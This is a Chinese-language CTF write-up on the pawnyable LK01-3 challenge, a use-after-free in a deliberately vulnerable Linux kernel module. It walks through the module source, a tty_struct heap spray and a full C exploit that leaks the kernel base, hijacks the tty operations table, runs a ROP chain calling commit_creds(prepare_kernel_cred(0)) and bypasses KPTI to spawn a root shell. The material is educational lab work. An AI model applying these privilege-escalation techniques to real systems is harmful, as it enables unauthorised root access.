前言
UAF
是用户态中常见的漏洞,在内核中同样存在UAF
漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF
漏洞
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open
模块时会分配0x400
大小的堆空间,并将地址存储在g_buf
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file) { printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed"); return -ENOMEM; }
return 0; }
|
read模块
在读模块中,会从用户空间中读取0x400
字节到g_buf
执行的堆空间中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) { printk(KERN_INFO "invalid buffer size\n"); return -EINVAL; }
if (copy_to_user(buf, g_buf, count)) { printk(KERN_INFO "copy_to_user failed\n"); return -EINVAL; }
return count; }
|
write模块
在写模块中,会从用户空间拷贝400
字节数据到内核堆空间中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) { printk(KERN_INFO "invalid buffer size\n"); return -EINVAL; }
if (copy_from_user(g_buf, buf, count)) { printk(KERN_INFO "copy_from_user failed\n"); return -EINVAL; }
return count; }
|
close模块
close
模块会释放g_buf
指向的堆块空间
1 2 3 4 5 6
| static int module_close(struct inode *inode, struct file *file) { printk(KERN_INFO "module_close called\n"); kfree(g_buf); return 0; }
|
漏洞分析
在读写模块中都限制了长度为0x400
,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open
模块中g_buf
是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open
模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF
漏洞。下图就是构造UAF
漏洞的流程。
当把g_buf
释放掉后,通过fd2
文件描述符同样能够操控g_buf
的空间,问题是该如何劫持程序流程,由于堆空间是通过slab
分配器进行分配的,而slab
还可而已进行缓存,因此g_buf
被释放后会放进缓存中,而g_buf
的大小为0x400
这与tty
结构体一致,因此此时通过堆喷确保g_buf
被分配到tty
结构体。构造uaf
的代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ... int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } ...
|
这里我有一个疑惑的点,在模块中的close
函数仅仅只是释放了g_buf
的堆内存并没有后续操作,因此在执行close(fd1)
之后,是不是还能对文件描述符fd1
进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close
操作无关。
在构造出UAF
漏洞并进行堆喷之后,实际操作的g_buf
指向的是tty
的结构体,该结构体偏移0x18
是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3
一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0))
,利用swapgs_restore_regs_and_return_to_usermode
绕过kpti
的保护。
run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 1 \ -monitor /dev/null \ -initrd initramfs.cpio.gz \ -net nic,model=virtio \ -net user \ -s
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> int spray[100];
#define push_rdx_pop_rsp_offset 0x14fbe8 #define pop_rdi_ret_offset 0x14078a #define pop_rcx_ret_offset 0xeb7e4 #define prepare_kernel_cred_offset 0x72560 #define commit_creds_offset 0x723c0 #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10 #define mov_rdi_rax_offset 0x638e9b
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); }
void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor); }
int main() { save_user_land(); int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(fd2, buf, 0x400); unsigned long *p = (unsigned long *)&buf; unsigned long kernel_addr = p[3]; unsigned long heap_addr = p[7]; printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr); unsigned long kernel_base = kernel_addr - 0xc39c60; unsigned long g_buf = heap_addr - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp_offset + kernel_base; p[0x21] = pop_rdi_ret_offset + kernel_base; p[0x22] = 0; p[0x23] = prepare_kernel_cred_offset + kernel_base; p[0x24] = pop_rcx_ret_offset + kernel_base; p[0x25] = 0; p[0x26] = mov_rdi_rax_offset + kernel_base; p[0x27] = commit_creds_offset + kernel_base; p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base; p[0x29] = 0; p[0x2a] = 0; p[0x2b] = (unsigned long)backdoor; p[0x2c] = user_cs; p[0x2d] = user_rflags; p[0x2e] = user_sp; p[0x2f] = user_ss; write(fd2, buf, 0x400); for (int i = 0; i < 50; i++) ioctl(spray[i], 0, g_buf+0x100); }
|
参考链接
https://blog-wohin-me.translate.goog/posts/pawnyable-0203/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl
https://pawnyable-cafe.translate.goog/linux-kernel/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN